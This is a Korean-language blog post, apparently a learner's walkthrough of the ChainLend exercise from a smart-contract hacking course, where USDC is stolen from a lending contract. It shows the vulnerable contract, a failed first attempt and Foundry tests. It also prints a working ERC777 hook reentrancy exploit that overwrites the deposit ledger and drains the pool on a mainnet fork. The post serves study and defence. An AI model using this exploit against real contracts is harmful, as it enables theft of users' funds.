디파이 컨트랙트에 있는 USDC를 탈취해보자.
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title ChainLend
* @author JohnnyTime (https://smartcontractshacking.com)
*/
contract ChainLend {
// Deposit token is imBTC, borrow token is USDC
IERC20 public depositToken;
IERC20 public borrowToken;
mapping(address => uint256) public deposits;
mapping(address => uint256) public debt;
constructor(address _depositToken, address _borrowToken) {
depositToken = IERC20(_depositToken);
borrowToken = IERC20(_borrowToken);
}
// @audit-issue doesn't follow checks-effects-interactions
function deposit(uint256 amount) public {
uint256 deposited = deposits[msg.sender];
depositToken.transferFrom(msg.sender, address(this), amount);
deposits[msg.sender] = deposited + amount;
}
// @audit-ok does follow checks-effects-interactions
// Can only be called if the debt is repayed
function withdraw(uint256 amount) public {
uint256 deposited = deposits[msg.sender];
require(debt[msg.sender] <= 0, "Please clear your debt to Withdraw Collateral");
require(amount <= deposited, "Withdraw Limit Exceeded");
deposits[msg.sender] = deposited - amount;
depositToken.transfer(msg.sender, amount);
}
// @audit-ok does follow checks-effects-interactions
// Assuming correct prices and oracles are in place to calculate the correct borrow limit
// For smplicity purposes, setting the imBTC oracle price to 20,000 USDC for 1 imBTC.
function borrow(uint256 amount) public {
uint256 deposited = deposits[msg.sender];
uint256 borrowed = debt[msg.sender];
require(deposited > 0, "You need to deposit before borrowing");
// BorrowLimit is deposited balance by caller multiplied with the price of imBTC,
// and then dividing it by 1e8 because USDC decimals is 6 while imBTC is 8
uint256 borrowLimit = (deposited * 20_000 * 1e6) / 1e8;
// Finally allowing only 80% of the deposited balance to be borrowed (80% Loan to value)
borrowLimit = ((borrowLimit * 80) / 100) - borrowed;
require(amount <= borrowLimit, "BorrowLimit Exceeded");
debt[msg.sender] += amount;
borrowToken.transfer(msg.sender, amount);
}
// @audit-issue doesn't follow checks-effects-interactions
function repay(uint256 amount) public{
require(debt[msg.sender] > 0, "You don't have any debt");
require(amount <= debt[msg.sender], "Amount to high! You don't have that much debt");
borrowToken.transferFrom(msg.sender, address(this), amount);
debt[msg.sender] -= amount;
}
}
그런데 현재 checks-effects-interactions
패턴이 아닌 함수는 deposit
과 repay
뿐이다. 정작 토큰을 받아서 재호출을 한다고 해도 공격 컨트랙트에서 토큰만 계속 빠져나갈 뿐, 탈취할 수 없다.
그렇다면 생각할 수 있는 경로는 4가지 정도가 있다.
1번은 단순히 imBTC를 예치하고 인출하는 것이니 usdc를 탈취할 수 없다. 2번은 호출할 수 있는 조건이 서로 상충(debt 조건
)하므로 탈락. 3번은 정직한 루트이므로 탈락. 4번도 마찬가지로 탈락.
한 가지 가능성이 있는 점은 컨트랙트 상에서 transferFrom
만 호출하지 해당 토큰이 실제로 이동했는지는 확인하지 않는다는 것이다. Borrow 한 토큰을 부지갑으로 이동하고 repay 하는 방식으로 시도해보자.
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/interfaces/IERC1820Registry.sol";
import "forge-std/console.sol";
interface IChainLend {
function deposit(uint256 amount) external;
function withdraw(uint256 amount) external;
function borrow(uint256 amount) external;
function repay(uint256 amount) external;
}
contract AttackChainLend {
IERC20 public depositToken;
IERC20 public borrowToken;
address attacker;
address public secondWallet;
IChainLend chainLend;
uint256 constant depositAmount = 1 * 1e8;
uint256 constant borrowAmount = 16_000 * 1e6;
uint256 constant chainLendBalance = 10_000_000 * 1e6;
constructor(address _depositToken, address _borrowToken, address payable _chainLend, address _secondWallet) {
depositToken = IERC20(_depositToken);
borrowToken = IERC20(_borrowToken);
chainLend = IChainLend(_chainLend);
attacker = msg.sender;
secondWallet = _secondWallet;
}
function attack() external {
chainLend.deposit(depositAmount);
chainLend.borrow(borrowAmount);
}
function transferToSecondWallet() public {
(bool success, ) = secondWallet.call{value: borrowAmount}("");
require(success, "Transfer failed");
}
receive() payable external {
if (borrowToken.balanceOf(address(chainLend)) < 100 * 1e6) {
transferToSecondWallet();
chainLend.repay(borrowAmount);
chainLend.borrow(borrowAmount);
} else {
transferToSecondWallet();
chainLend.repay(borrowAmount);
chainLend.withdraw(borrowAmount);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../../src/reentrancy-3/AttackChainLend.sol";
import "../../src/reentrancy-3/ChainLend.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
@dev run "forge test --fork-url $ETH_RPC_URL --fork-block-number 15969633 --match-contract RE3 -vvv"
*/
contract TestRE3 is Test {
address deployer;
address attacker;
address secondWallet;
ChainLend chainLend;
AttackChainLend attackChainLend;
address depositToken = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
address borrowToken = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
uint256 constant INITIAL_CHAINLEND_BALANCE = 1_000_000 * 1e6;
uint256 constant INITIAL_ATTACKCONTRACT_BALANCE = 1 * 1e8;
function setUp() public {
deployer = address(1);
attacker = address(2);
secondWallet = address(3);
vm.prank(deployer);
chainLend = new ChainLend(address(depositToken), address(borrowToken));
vm.prank(attacker);
attackChainLend = new AttackChainLend(address(depositToken), address(borrowToken), payable(address(chainLend)), secondWallet);
deal(borrowToken, address(chainLend), INITIAL_CHAINLEND_BALANCE);
deal(depositToken, address(attackChainLend), INITIAL_ATTACKCONTRACT_BALANCE);
assertEq(IERC20(borrowToken).balanceOf(address(chainLend)), INITIAL_CHAINLEND_BALANCE);
assertEq(IERC20(depositToken).balanceOf(address(attackChainLend)), INITIAL_ATTACKCONTRACT_BALANCE);
}
function test_attack() public {
vm.startPrank(attacker);
attackChainLend.approve();
attackChainLend.attack();
vm.stopPrank();
assertEq(IERC20(borrowToken).balanceOf(address(chainLend)) < 100 * 1e6, true);
assertEq(IERC20(depositToken).balanceOf(address(attackChainLend)), INITIAL_ATTACKCONTRACT_BALANCE);
assertEq(IERC20(borrowToken).balanceOf(address(secondWallet)) >= (INITIAL_CHAINLEND_BALANCE - 100 * 1e6), true);
}
}
depositToken
은 wbtc 주소를, borrowToken
은 usdc 주소를 사용했다. 기존에 vm.deal()
을 이용해서 이더 수량을 맞춰줬었는데, 다른 erc20 토큰을 같은 방법으로 하려니 에러가 났었다. 이럴 때는 deal()
을 활용하자.
function deal(address token, address to, uint256 give) external;
추가로 기존 공격 컨트랙트에서 approve()
코드를 넣지 않았더니 deposit을 못하는 에러가 나서 해당 코드를 추가했다.
function approve() external{
IERC20(depositToken).approve(address(chainLend), type(uint256).max);
IERC20(borrowToken).approve(address(chainLend), type(uint256).max);
}
터미널에서 이더 메인넷 rpc를 추가해주고
ETH_RPC_URL="paste your rpc url here"
아래 명령어로 테스트를 실행한다.
forge test --fork-url $ETH_RPC_URL --fork-block-number 15969633 --match-contract RE3 -vvv
하지만 결과는 fail..
로그를 보면 예상과 달리 Reentrancy 공격을 못 하고 단순히 deposit()
, borrow()
를 한 번만 하는 것을 알 수 있다. 어디가 잘못된 걸까?
공격 컨트랙트부터 비교해보자.
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/interfaces/IERC1820Registry.sol";
import "forge-std/console.sol";
interface IChainLend {
function deposit(uint256 amount) external;
function withdraw(uint256 amount) external;
function borrow(uint256 amount) external;
function deposits(address account) external returns (uint256);
}
/**
* @title AttackChainLend
* @author JohnnyTime (https://smartcontractshacking.com)
*/
contract AttackChainLend {
address private owner;
IChainLend private chainlend;
IERC20 private imbtc;
IERC20 private usdc;
IERC1820Registry internal constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
uint256 private currentimBTCBalance;
uint16 private reentrant = 0;
constructor(address _imbtc, address _usdc, address _chainlend) {
owner = msg.sender;
chainlend = IChainLend(_chainlend);
imbtc = IERC20(_imbtc);
usdc = IERC20(_usdc);
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777TokensSender"), address(this));
}
function attack() external {
require(msg.sender == owner, "not owner");
for (uint8 i = 1; i <= 64; i++) {
currentimBTCBalance = imbtc.balanceOf(address(this));
imbtc.approve(address(chainlend), currentimBTCBalance - 1);
chainlend.deposit(currentimBTCBalance - 1);
imbtc.approve(address(chainlend), 1);
chainlend.deposit(1);
console.log("Currently Deposited: ", chainlend.deposits(address(this)));
console.log("Currently imBTC balance: ", imbtc.balanceOf(address(this)));
}
uint256 usdcBalance = usdc.balanceOf(address(chainlend));
chainlend.borrow(usdcBalance);
usdc.transfer(owner, usdcBalance);
currentimBTCBalance = imbtc.balanceOf(address(this));
imbtc.transfer(owner, currentimBTCBalance);
}
function tokensToSend(address, address, address, uint256, bytes calldata, bytes calldata) external {
require(msg.sender == address(imbtc));
reentrant += 1;
console.log("Reentrant: ", reentrant);
if (reentrant % 2 == 0) {
chainlend.withdraw(currentimBTCBalance - 1);
}
}
}
내가 간과한 부분이 있는데, 원래 문제에서 imBTC
로 depositToken
을 설정했었다. 단순히 decimal 차이만 신경쓰면 될 줄 알고 WBTC
로 설정을 했던 건데 이번 예제는 imBTC
토큰의 특징을 이용한 문제였다. imBTC
는 ERC20이 아닌 ERC777 표준을 사용한 토큰이다. 해당 표준은 ERC20 보다 더 많은 기능을 지원하는 것이 특징이다.
핵심은 Hook에 있다. tokensToSend()
와 tokenReceived()
를 이용해 토큰이 전송되거나 받을 때 추가적인 액션을 취할 수 있다. 이를 위해선 IERC1820Registry
를 이용해 컨트랙트가 implementer로 등록이 되어 있어야 한다. 그래서 공격 컨트랙트의 constructor에서 setInterfaceImplementer
를 이용해 공격 컨트랙트 주소를 implementer로 등록 한 것이다.
마지막에 tokensToSend()
를 이용해 Reentrancy 공격을 하는데, attack()
함수에서 imBTC를 두 번 나눠서 deposit을 한다. 이렇게 하는 이유는 처음 deposit을 했을 때는 단순히 공격 횟수를 카운팅하고 두 번째로 deposit 했을 때 Hook이 발동해서 처음에 넣었던 imBTC를 다시 빼오기 위함이다. 이렇게만 보면 공격 로직이 잘 이해가 되지 않기 때문에 조금 더 자세히 살펴볼 필요가 있다.
//@audit-issue Doesn't Follow Checks-Effects-Interactions
function deposit(uint256 amount) public {
uint256 deposited = deposits[msg.sender];
depositToken.transferFrom(msg.sender, address(this), amount);
deposits[msg.sender] = deposited + amount;
}
//@audit-ok Doesn't Follow Checks-Effects-Interactions
// Can only be called if the debt is repayed
function withdraw(uint256 amount) public {
uint256 deposited = deposits[msg.sender];
require(debt[msg.sender] <= 0, "Please clear your debt to Withdraw Collateral");
require(amount <= deposited, "Withdraw Limit Exceeded");
deposits[msg.sender] = deposited - amount;
depositToken.transfer(msg.sender, amount);
}
공격 시나리오를 하나씩 살펴보자.
먼저 첫 번째 deposit()
때 0.999999imBTC를 입금하고 deposits[msg.sender]
에는 정상적으로 0.999999imBTC로 입금량이 반영된다.
두 번째 deposit()
때는 0.000001imBTC를 입금한다. 하지만 여기서 transferFrom()
을 통해 토큰이 전송되면 Hook이 발동해서 withdraw()
가 호출된다. 아직 deposit()
함수는 끝나지 않았기 때문에 현재 deposits[msg.sender]
는 0.999999imBTC로 되어있다.
withdraw()
가 호출됐기 때문에 첫 번째로 입금했던 0.999999imBTC가 다시 공격 컨트랙트로 돌아온다. 이 때 withdraw()
함수 안에 deposits[msg.sender] = deposited - amount;
가 있기 때문에 deposits[msg.sender]
는 0이 된다.
withdraw()
가 다 끝났지만 아직 deposit()
함수는 여전히 진행중이다. 이게 핵심인데, 함수의 마지막 줄인 deposits[msg.sender] = deposited + amount;
가 실행되면서 함수가 마무리 된다. 이 때 deposits[msg.sender]
는 첫 번째 입금했던 0.999999imBTC에 두 번 째로 입금한 0.000001imBTC가 amount
로 추가 되면서 3번에서 0이 됐던 값이 1imBTC로 덮어쓰여지게 된다.
따라서 실질적으로 0.00001imBTC를 입금했지만 장부에는 1imBTC가 입금된 걸로 적혀있는 셈이다.
핵심은 Hook을 이용해 deposit 도중에 withdraw를 호출하고, deposit 마지막에 deposits[]
가 덮어쓰여지는 것을 노리는 것이다. 이게 가능한 이유는 deposit 함수가 Checks-Effects-Interactions
패턴을 따르지 않기 때문이다.
다음은 테스트 코드를 살펴보자.
contract TestRE3 is Test {
address constant imBTC_ADDRESS = address(0x3212b29E33587A00FB1C83346f5dBFA69A458923);
address constant USDC_ADDRESS = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
address constant imBTC_WHALE = address(0xFEa4224Da399F672eB21a9F3F7324cEF1d7a965C);
address constant USDC_WHALE = address(0xF977814e90dA44bFA03b6295A0616a897441aceC);
//1 million with 6 decimals
uint256 constant USDC_IN_CHAINLEND = 1e12;
uint256 init_attacker_bal;
uint256 init_bank_bal;
ChainLend chainLend;
AttackChainLend attackChainLend;
IERC20 imBTC = IERC20(imBTC_ADDRESS);
IERC20 usdc = IERC20(USDC_ADDRESS);
address deployer;
address attacker;
function setUp() public {
deployer = address(1);
attacker = address(5);
// Fund deployer & attacker with 100 ETH
vm.deal(deployer, 100 ether);
vm.deal(attacker, 100 ether);
// Send some ETH for whales for tx fees
vm.prank(deployer);
imBTC_WHALE.call{value: 2 ether}("");
USDC_WHALE.call{value: 2 ether}("");
// ChainLend deployment
vm.prank(deployer);
chainLend = new ChainLend(imBTC_ADDRESS, USDC_ADDRESS);
// Impersonate imBTC Whale and send 1 imBTC to attacker
vm.prank(imBTC_WHALE);
imBTC.transfer(attacker, 1e8);
// Impersonate USDC Whale and send 1M USDC to ChainLend
vm.prank(USDC_WHALE);
usdc.transfer(address(chainLend), USDC_IN_CHAINLEND);
}
function test_Attack() public {
vm.startPrank(attacker);
attackChainLend = new AttackChainLend(imBTC_ADDRESS, USDC_ADDRESS, address(chainLend));
imBTC.transfer(address(attackChainLend), 1e8);
attackChainLend.attack();
vm.stopPrank();
assertEq(usdc.balanceOf(attacker), USDC_IN_CHAINLEND);
}
}
setUp 부분에서 고래 주소를 통해 토큰들을 보내는데, 이 방법보다는 deal
을 이용하면 될 것 같다. 그 외에는 단순히 공격 컨트랙트의 attack()
을 호출하고 마지막에 USDC 밸런스를 확인하고 끝난다.
접근 방법부터 여러 방법을 생각했지만 ERC20
이 아닌 토큰을 활용할 거라고는 생각도 못 했다. 덕분에 머릿속에 깊게 각인 될 것 같다. 단순히 withdraw를 계속 호출하는 것만이 Reentrancy attack이 아니라, Hook을 활용해 mapping을 속이는 것도 Reentrancy attack이 될 수 있다는 것이 흥미로웠다. 아직 배울 것이 많고 성장할 수 있는 기회가 많다는 것은 신나는 일이다. 더 다양한 공격 시나리오를 경험하고 좀 더 창의적으로 사고할 수 있도록 해보자.